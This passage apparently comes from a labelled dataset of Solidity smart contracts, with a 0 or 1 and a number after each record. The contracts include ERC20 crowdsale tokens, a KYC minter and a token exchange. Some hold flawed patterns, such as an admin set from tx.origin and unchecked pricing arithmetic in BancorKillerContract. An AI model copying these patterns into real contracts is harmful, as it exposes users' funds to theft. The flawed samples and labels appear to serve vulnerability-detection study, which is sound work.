function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) constant returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) constant returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
function __throw() {
uint[] arst;
arst[1];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 221 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) whitelist;
event AddedToWhitelist(address indexed account);
event RemovedFromWhitelist(address indexed account);
modifier onlyWhitelisted() {
require(isWhitelisted(msg.sender));
_;
}
function add(address _address) public onlyOwner {
whitelist[_address] = true;
emit AddedToWhitelist(_address);
}
function remove(address _address) public onlyOwner {
whitelist[_address] = false;
emit RemovedFromWhitelist(_address);
}
function isWhitelisted(address _address) public view returns(bool) {
return whitelist[_address];
}
}
contract LockingContract is Ownable {
using SafeMath for uint256;
event NotedTokens(address indexed _beneficiary, uint256 _tokenAmount);
event ReleasedTokens(address indexed _beneficiary);
event ReducedLockingTime(uint256 _newUnlockTime);
ERC20 public tokenContract;
mapping(address => uint256) public tokens;
uint256 public totalTokens;
uint256 public unlockTime;
function isLocked() public view returns(bool) {
return now < unlockTime;
}
modifier onlyWhenUnlocked() {
require(!isLocked());
_;
}
modifier onlyWhenLocked() {
require(isLocked());
_;
}
function LockingContract(ERC20 _tokenContract, uint256 _unlockTime) public {
require(_unlockTime > now);
require(address(_tokenContract) != 0x0);
unlockTime = _unlockTime;
tokenContract = _tokenContract;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokens[_owner];
}
function noteTokens(address _beneficiary, uint256 _tokenAmount) external onlyOwner onlyWhenLocked {
uint256 tokenBalance = tokenContract.balanceOf(this);
require(tokenBalance >= totalTokens.add(_tokenAmount));
tokens[_beneficiary] = tokens[_beneficiary].add(_tokenAmount);
totalTokens = totalTokens.add(_tokenAmount);
emit NotedTokens(_beneficiary, _tokenAmount);
}
function releaseTokens(address _beneficiary) public onlyWhenUnlocked {
require(msg.sender == owner || msg.sender == _beneficiary);
uint256 amount = tokens[_beneficiary];
tokens[_beneficiary] = 0;
require(tokenContract.transfer(_beneficiary, amount));
totalTokens = totalTokens.sub(amount);
emit ReleasedTokens(_beneficiary);
}
function reduceLockingTime(uint256 _newUnlockTime) public onlyOwner onlyWhenLocked {
require(_newUnlockTime >= now);
require(_newUnlockTime < unlockTime);
unlockTime = _newUnlockTime;
emit ReducedLockingTime(_newUnlockTime);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CrowdfundableToken is MintableToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public cap;
function CrowdfundableToken(uint256 _cap, string _name, string _symbol, uint8 _decimals) public {
require(_cap > 0);
require(bytes(_name).length > 0);
require(bytes(_symbol).length > 0);
cap = _cap;
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(mintingFinished == true);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(mintingFinished == true);
return super.transferFrom(_from, _to, _value);
}
function burn(uint amount) public {
totalSupply_ = totalSupply_.sub(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
}
}
contract AllSporterCoin is CrowdfundableToken {
constructor() public
CrowdfundableToken(260000000 * (10**18), "AllSporter Coin", "ALL", 18) {
}
}
contract Minter is Ownable {
using SafeMath for uint;
event Minted(address indexed account, uint etherAmount, uint tokenAmount);
event Reserved(uint etherAmount);
event MintedReserved(address indexed account, uint etherAmount, uint tokenAmount);
event Unreserved(uint etherAmount);
CrowdfundableToken public token;
uint public saleEtherCap;
uint public confirmedSaleEther;
uint public reservedSaleEther;
modifier onlyInUpdatedState() {
updateState();
_;
}
modifier upToSaleEtherCap(uint additionalEtherAmount) {
uint totalEtherAmount = confirmedSaleEther.add(reservedSaleEther).add(additionalEtherAmount);
require(totalEtherAmount <= saleEtherCap);
_;
}
modifier onlyApprovedMinter() {
require(canMint(msg.sender));
_;
}
modifier atLeastMinimumAmount(uint etherAmount) {
require(etherAmount >= getMinimumContribution());
_;
}
modifier onlyValidAddress(address account) {
require(account != 0x0);
_;
}
constructor(CrowdfundableToken _token, uint _saleEtherCap) public onlyValidAddress(address(_token)) {
require(_saleEtherCap > 0);
token = _token;
saleEtherCap = _saleEtherCap;
}
function transferTokenOwnership() external onlyOwner {
token.transferOwnership(owner);
}
function reserve(uint etherAmount) external
onlyInUpdatedState
onlyApprovedMinter
upToSaleEtherCap(etherAmount)
atLeastMinimumAmount(etherAmount)
{
reservedSaleEther = reservedSaleEther.add(etherAmount);
updateState();
emit Reserved(etherAmount);
}
function mintReserved(address account, uint etherAmount, uint tokenAmount) external
onlyInUpdatedState
onlyApprovedMinter
{
reservedSaleEther = reservedSaleEther.sub(etherAmount);
confirmedSaleEther = confirmedSaleEther.add(etherAmount);
require(token.mint(account, tokenAmount));
updateState();
emit MintedReserved(account, etherAmount, tokenAmount);
}
function unreserve(uint etherAmount) public
onlyInUpdatedState
onlyApprovedMinter
{
reservedSaleEther = reservedSaleEther.sub(etherAmount);
updateState();
emit Unreserved(etherAmount);
}
function mint(address account, uint etherAmount, uint tokenAmount) public
onlyInUpdatedState
onlyApprovedMinter
upToSaleEtherCap(etherAmount)
{
confirmedSaleEther = confirmedSaleEther.add(etherAmount);
require(token.mint(account, tokenAmount));
updateState();
emit Minted(account, etherAmount, tokenAmount);
}
function getMinimumContribution() public view returns(uint);
function updateState() public;
function canMint(address sender) public view returns(bool);
function getTokensForEther(uint etherAmount) public view returns(uint);
}
contract DeferredKyc is Ownable {
using SafeMath for uint;
event AddedToKyc(address indexed investor, uint etherAmount, uint tokenAmount);
event Approved(address indexed investor, uint etherAmount, uint tokenAmount);
event Rejected(address indexed investor, uint etherAmount, uint tokenAmount);
event RejectedWithdrawn(address indexed investor, uint etherAmount);
event ApproverTransferred(address newApprover);
event TreasuryUpdated(address newTreasury);
address public treasury;
Minter public minter;
address public approver;
mapping(address => uint) public etherInProgress;
mapping(address => uint) public tokenInProgress;
mapping(address => uint) public etherRejected;
modifier onlyApprover() {
require(msg.sender == approver);
_;
}
modifier onlyValidAddress(address account) {
require(account != 0x0);
_;
}
constructor(Minter _minter, address _approver, address _treasury)
public
onlyValidAddress(address(_minter))
onlyValidAddress(_approver)
onlyValidAddress(_treasury)
{
minter = _minter;
approver = _approver;
treasury = _treasury;
}
function updateTreasury(address newTreasury) external onlyOwner {
treasury = newTreasury;
emit TreasuryUpdated(newTreasury);
}
function addToKyc(address investor) external payable onlyOwner {
minter.reserve(msg.value);
uint tokenAmount = minter.getTokensForEther(msg.value);
require(tokenAmount > 0);
emit AddedToKyc(investor, msg.value, tokenAmount);
etherInProgress[investor] = etherInProgress[investor].add(msg.value);
tokenInProgress[investor] = tokenInProgress[investor].add(tokenAmount);
}
function approve(address investor) external onlyApprover {
minter.mintReserved(investor, etherInProgress[investor], tokenInProgress[investor]);
emit Approved(investor, etherInProgress[investor], tokenInProgress[investor]);
uint value = etherInProgress[investor];
etherInProgress[investor] = 0;
tokenInProgress[investor] = 0;
treasury.transfer(value);
}
function reject(address investor) external onlyApprover {
minter.unreserve(etherInProgress[investor]);
emit Rejected(investor, etherInProgress[investor], tokenInProgress[investor]);
etherRejected[investor] = etherRejected[investor].add(etherInProgress[investor]);
etherInProgress[investor] = 0;
tokenInProgress[investor] = 0;
}
function withdrawRejected() external {
uint value = etherRejected[msg.sender];
etherRejected[msg.sender] = 0;
(msg.sender).transfer(value);
emit RejectedWithdrawn(msg.sender, value);
}
function forceWithdrawRejected(address investor) external onlyApprover {
uint value = etherRejected[investor];
etherRejected[investor] = 0;
(investor).transfer(value);
emit RejectedWithdrawn(investor, value);
}
function transferApprover(address newApprover) external onlyApprover {
approver = newApprover;
emit ApproverTransferred(newApprover);
}
}
contract ReferralManager is Ownable {
using SafeMath for uint;
uint constant public ETHER_AMOUNT = 0;
uint constant public MAXIMUM_PERCENT = 15;
event FeeAdded(address indexed account, uint tokenAmount);
Minter public minter;
mapping(address => bool) alreadyReferred;
modifier notAlreadyReferred(address account) {
require(!alreadyReferred[account]);
_;
}
modifier onlyValidPercent(uint percent) {
require(percent >= 0 && percent <= 100);
require(percent <= MAXIMUM_PERCENT);
_;
}
modifier onlyValidAddress(address account) {
require(account != 0x0);
_;
}
constructor(Minter _minter) public onlyValidAddress(address(_minter)) {
minter = _minter;
}
function addFee(address referring, uint referringPercent, address referred, uint referredPercent)
external
onlyOwner
onlyValidAddress(referring)
onlyValidAddress(referred)
onlyValidPercent(referringPercent)
onlyValidPercent(referredPercent)
notAlreadyReferred(referred)
{
alreadyReferred[referred] = true;
uint baseContribution = minter.token().balanceOf(referred);
applyFee(referring, baseContribution, referringPercent);
applyFee(referred, baseContribution, referredPercent);
}
function applyFee(address account, uint baseContribution, uint percent) internal {
uint tokensDue = baseContribution.div(100).mul(percent);
minter.mint(account, ETHER_AMOUNT, tokensDue);
emit FeeAdded(account, tokensDue);
}
} | 1 | 3,337 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
wallet.transfer(this.balance);
Closed();
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract Gryphon is ERC20, Ownable {
using SafeMath for uint256;
RefundVault public vault;
mapping(address => uint256) balances;
mapping(address => uint256) vested;
mapping(address => uint256) total_vested;
mapping (address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
string public name = 'Gryphon';
string public symbol = 'GXC';
uint256 public decimals = 4;
uint256 public initialSupply = 2000000000;
uint256 public start;
uint256 public duration;
uint256 public rateICO = 910000000000000;
uint256 public preSaleMaxCapInWei = 10000 ether;
uint256 public preSaleRaised = 0;
uint256 public icoSoftCapInWei = 100000 ether;
uint256 public icoHardCapInWei = 238100 ether;
uint256 public icoRaised = 0;
uint256 public presaleStartTimestamp;
uint256 public presaleEndTimestamp;
uint256 public icoStartTimestamp;
uint256 public icoEndTimestamp;
uint256 public presaleTokenLimit;
uint256 public icoTokenLimit;
uint256 public investorCount;
enum State {Unknown, Preparing, PreSale, ICO, Success, Failure, PresaleFinalized, ICOFinalized}
State public crowdSaleState;
modifier nonZero() {
require(msg.value > 0);
_;
}
function Gryphon() public {
owner = 0xf42B82D02b8f3E7983b3f7E1000cE28EC3F8C815;
vault = new RefundVault(0xe5D80dB8d236C0C6a5f5513533767781B2e6200f);
totalSupply_ = initialSupply*(10**decimals);
balances[owner] = totalSupply_;
presaleStartTimestamp = 1523232000;
presaleEndTimestamp = presaleStartTimestamp + 50 * 1 days;
icoStartTimestamp = presaleEndTimestamp + 1 days;
icoEndTimestamp = icoStartTimestamp + 60 * 1 days;
crowdSaleState = State.Preparing;
start = 1523232000;
duration = 23328000;
}
function () nonZero payable {
enter();
}
function enter() public nonZero payable {
if(isPreSalePeriod()) {
if(crowdSaleState == State.Preparing) {
crowdSaleState = State.PreSale;
}
buyTokens(msg.sender, msg.value);
}
else if (isICOPeriod()) {
if(crowdSaleState == State.PresaleFinalized) {
crowdSaleState = State.ICO;
}
buyTokens(msg.sender, msg.value);
} else {
revert();
}
}
function buyTokens(address _recipient, uint256 _value) internal nonZero returns (bool success) {
uint256 boughtTokens = calculateTokens(_value);
require(boughtTokens != 0);
boughtTokens = boughtTokens*(10**decimals);
if(balanceOf(_recipient) == 0) {
investorCount++;
}
if(isCrowdSaleStatePreSale()) {
transferTokens(_recipient, boughtTokens);
vault.deposit.value(_value)(_recipient);
preSaleRaised = preSaleRaised.add(_value);
return true;
} else if (isCrowdSaleStateICO()) {
transferTokens(_recipient, boughtTokens);
vault.deposit.value(_value)(_recipient);
icoRaised = icoRaised.add(_value);
return true;
}
}
function transferTokens(address _recipient, uint256 tokens_in_cents) internal returns (bool) {
require(
tokens_in_cents > 0
&& _recipient != owner
&& tokens_in_cents < balances[owner]
);
balances[owner] = balances[owner].sub(tokens_in_cents);
balances[_recipient] = balances[_recipient].add(tokens_in_cents);
getVested(_recipient);
Transfer(owner, _recipient, tokens_in_cents);
return true;
}
function getVested(address _beneficiary) public returns (uint256) {
require(balances[_beneficiary]>0);
if (_beneficiary == owner){
vested[owner] = balances[owner];
total_vested[owner] = balances[owner];
} else if (block.timestamp < start) {
vested[_beneficiary] = 0;
total_vested[_beneficiary] = 0;
} else if (block.timestamp >= start.add(duration)) {
total_vested[_beneficiary] = balances[_beneficiary];
vested[_beneficiary] = balances[_beneficiary];
} else {
uint vested_now = balances[_beneficiary].mul(block.timestamp.sub(start)).div(duration);
if(total_vested[_beneficiary]==0){
total_vested[_beneficiary] = vested_now;
}
if(vested_now > total_vested[_beneficiary]){
vested[_beneficiary] = vested[_beneficiary].add(vested_now.sub(total_vested[_beneficiary]));
total_vested[_beneficiary] = vested_now;
}
}
return vested[_beneficiary];
}
function transfer(address _to, uint256 _tokens_in_cents) public returns (bool) {
require(_tokens_in_cents > 0);
require(_to != msg.sender);
getVested(msg.sender);
require(balances[msg.sender] >= _tokens_in_cents);
require(vested[msg.sender] >= _tokens_in_cents);
if(balanceOf(_to) == 0) {
investorCount++;
}
balances[msg.sender] = balances[msg.sender].sub(_tokens_in_cents);
vested[msg.sender] = vested[msg.sender].sub(_tokens_in_cents);
balances[_to] = balances[_to].add(_tokens_in_cents);
if(balanceOf(msg.sender) == 0) {
investorCount=investorCount-1;
}
if(msg.sender==owner){
uint raized = (_tokens_in_cents.div(10**decimals)).mul(rateICO);
if(isCrowdSaleStatePreSale()) {
preSaleRaised = preSaleRaised.add(raized);
} else if (isCrowdSaleStateICO()) {
icoRaised = icoRaised.add(raized);
}
}
Transfer(msg.sender, _to, _tokens_in_cents);
return true;
}
function transferBonus(address _to, uint256 _tokens) public returns (bool) {
require(msg.sender == owner);
require(_to != msg.sender);
require(_to != owner);
require(_tokens > 0);
uint _tokens_in_cents = _tokens.mul(10**decimals);
require(balances[msg.sender] >= _tokens_in_cents);
balances[msg.sender] = balances[msg.sender].sub(_tokens_in_cents);
vested[msg.sender] = vested[msg.sender].sub(_tokens_in_cents);
balances[_to] = balances[_to].add(_tokens_in_cents);
Transfer(msg.sender, _to, _tokens_in_cents);
return true;
}
function transferFrom(address _from, address _to, uint256 _tokens_in_cents) public returns (bool success) {
require(_tokens_in_cents > 0);
require(_from != _to);
getVested(_from);
require(balances[_from] >= _tokens_in_cents);
require(vested[_from] >= _tokens_in_cents);
require(allowed[_from][msg.sender] >= _tokens_in_cents);
if(balanceOf(_to) == 0) {
investorCount++;
}
balances[_from] = balances[_from].sub(_tokens_in_cents);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_tokens_in_cents);
vested[_from] = vested[_from].sub(_tokens_in_cents);
balances[_to] = balances[_to].add(_tokens_in_cents);
if(balanceOf(_from) == 0) {
investorCount=investorCount-1;
}
Transfer(_from, _to, _tokens_in_cents);
return true;
}
function approve(address _spender, uint256 _tokens_in_cents) returns (bool success) {
require(vested[msg.sender] >= _tokens_in_cents);
allowed[msg.sender][_spender] = _tokens_in_cents;
Approval(msg.sender, _spender, _tokens_in_cents);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function calculateTokens(uint256 _amount) internal returns (uint256 tokens){
if(crowdSaleState == State.Preparing && isPreSalePeriod()) {
crowdSaleState = State.PreSale;
}
if(isCrowdSaleStatePreSale()) {
tokens = _amount.div(rateICO);
} else if (isCrowdSaleStateICO()) {
tokens = _amount.div(rateICO);
} else {
tokens = 0;
}
}
function getRefund(address _recipient) public returns (bool){
require(crowdSaleState == State.Failure);
require(refundedAmount(_recipient));
vault.refund(_recipient);
return true;
}
function refundedAmount(address _recipient) internal returns (bool) {
require(balances[_recipient] != 0);
balances[_recipient] = 0;
return true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address a) public view returns (uint256 balance) {
return balances[a];
}
function isCrowdSaleStatePreSale() public constant returns (bool) {
return crowdSaleState == State.PreSale;
}
function isCrowdSaleStateICO() public constant returns (bool) {
return crowdSaleState == State.ICO;
}
function isPreSalePeriod() public constant returns (bool) {
if(preSaleRaised > preSaleMaxCapInWei || now >= presaleEndTimestamp) {
crowdSaleState = State.PresaleFinalized;
return false;
} else {
return now > presaleStartTimestamp;
}
}
function isICOPeriod() public constant returns (bool) {
if (icoRaised > icoHardCapInWei || now >= icoEndTimestamp){
crowdSaleState = State.ICOFinalized;
return false;
} else {
return true;
}
}
function endCrowdSale() public onlyOwner {
require(now >= icoEndTimestamp || icoRaised >= icoSoftCapInWei);
if(icoRaised >= icoSoftCapInWei){
crowdSaleState = State.Success;
vault.close();
} else {
crowdSaleState = State.Failure;
vault.enableRefunds();
}
}
function getInvestorCount() public constant returns (uint256) {
return investorCount;
}
function getPresaleRaisedAmount() public constant returns (uint256) {
return preSaleRaised;
}
function getICORaisedAmount() public constant returns (uint256) {
return icoRaised;
}
} | 0 | 1,477 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function transfer(address to, uint256 tokens) public returns (bool success);
}
contract BancorKillerContract {
using SafeMath for uint256;
address public admin;
address public base_token;
address public traded_token;
uint256 public base_token_seed_amount;
uint256 public traded_token_seed_amount;
uint256 public commission_ratio;
bool public base_token_is_seeded;
bool public traded_token_is_seeded;
mapping (address => uint256) public token_balance;
constructor(address _base_token, address _traded_token,uint256 _base_token_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public {
admin = tx.origin;
base_token = _base_token;
traded_token = _traded_token;
base_token_seed_amount = _base_token_seed_amount;
traded_token_seed_amount = _traded_token_seed_amount;
commission_ratio = _commission_ratio;
}
function transferTokensThroughProxyToContract(address _from, address _to, uint256 _amount) private {
token_balance[traded_token] = token_balance[traded_token].add(_amount);
require(Token(traded_token).transferFrom(_from,_to,_amount));
}
function transferTokensFromContract(address _to, uint256 _amount) private {
token_balance[traded_token] = token_balance[traded_token].sub(_amount);
require(Token(traded_token).transfer(_to,_amount));
}
function transferETHToContract() private {
token_balance[0] = token_balance[0].add(msg.value);
}
function transferETHFromContract(address _to, uint256 _amount) private {
token_balance[0] = token_balance[0].sub(_amount);
_to.transfer(_amount);
}
function deposit_token(uint256 _amount) private {
transferTokensThroughProxyToContract(msg.sender, this, _amount);
}
function deposit_eth() private {
transferETHToContract();
}
function withdraw_token(uint256 _amount) public {
require(msg.sender == admin);
uint256 currentBalance_ = token_balance[traded_token];
require(currentBalance_ >= _amount);
transferTokensFromContract(admin, _amount);
}
function withdraw_eth(uint256 _amount) public {
require(msg.sender == admin);
uint256 currentBalance_ = token_balance[0];
require(currentBalance_ >= _amount);
transferETHFromContract(admin, _amount);
}
function set_traded_token_as_seeded() private {
traded_token_is_seeded = true;
}
function set_base_token_as_seeded() private {
base_token_is_seeded = true;
}
function seed_traded_token() public {
require(!market_is_open());
set_traded_token_as_seeded();
deposit_token(traded_token_seed_amount);
}
function seed_base_token() public payable {
require(!market_is_open());
require(msg.value == base_token_seed_amount);
set_base_token_as_seeded();
deposit_eth();
}
function market_is_open() private view returns(bool) {
return (base_token_is_seeded && traded_token_is_seeded);
}
function get_amount_sell(uint256 _amount) public view returns(uint256) {
uint256 base_token_balance_ = token_balance[base_token];
uint256 traded_token_balance_ = token_balance[traded_token];
uint256 traded_token_balance_plus_amount_ = traded_token_balance_ + _amount;
return (2*base_token_balance_*_amount)/(traded_token_balance_ + traded_token_balance_plus_amount_);
}
function get_amount_buy(uint256 _amount) public view returns(uint256) {
uint256 base_token_balance_ = token_balance[base_token];
uint256 traded_token_balance_ = token_balance[traded_token];
uint256 base_token_balance_plus_amount_ = base_token_balance_ + _amount;
return (_amount*traded_token_balance_*(base_token_balance_plus_amount_ + base_token_balance_))/(2*base_token_balance_plus_amount_*base_token_balance_);
}
function get_amount_minus_fee(uint256 _amount) private view returns(uint256) {
return (_amount*(1 ether - commission_ratio))/(1 ether);
}
function complete_sell_exchange(uint256 _amount_give) private {
uint256 amount_get_ = get_amount_sell(_amount_give);
require(amount_get_ < token_balance[base_token]);
uint256 amount_get_minus_fee_ = get_amount_minus_fee(amount_get_);
uint256 admin_fee = amount_get_ - amount_get_minus_fee_;
transferTokensThroughProxyToContract(msg.sender,this,_amount_give);
transferETHFromContract(msg.sender,amount_get_minus_fee_);
transferETHFromContract(admin, admin_fee);
}
function complete_buy_exchange() private {
uint256 amount_give_ = msg.value;
uint256 amount_get_ = get_amount_buy(amount_give_);
require(amount_get_ < token_balance[traded_token]);
uint256 amount_get_minus_fee_ = get_amount_minus_fee(amount_get_);
uint256 admin_fee = amount_get_ - amount_get_minus_fee_;
transferETHToContract();
transferTokensFromContract(msg.sender, amount_get_minus_fee_);
transferTokensFromContract(admin, admin_fee);
}
function sell_tokens(uint256 _amount_give) public {
require(market_is_open());
complete_sell_exchange(_amount_give);
}
function buy_tokens() private {
require(market_is_open());
complete_buy_exchange();
}
function() public payable {
buy_tokens();
}
} | 1 | 3,291 |
pragma solidity ^0.4.11;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
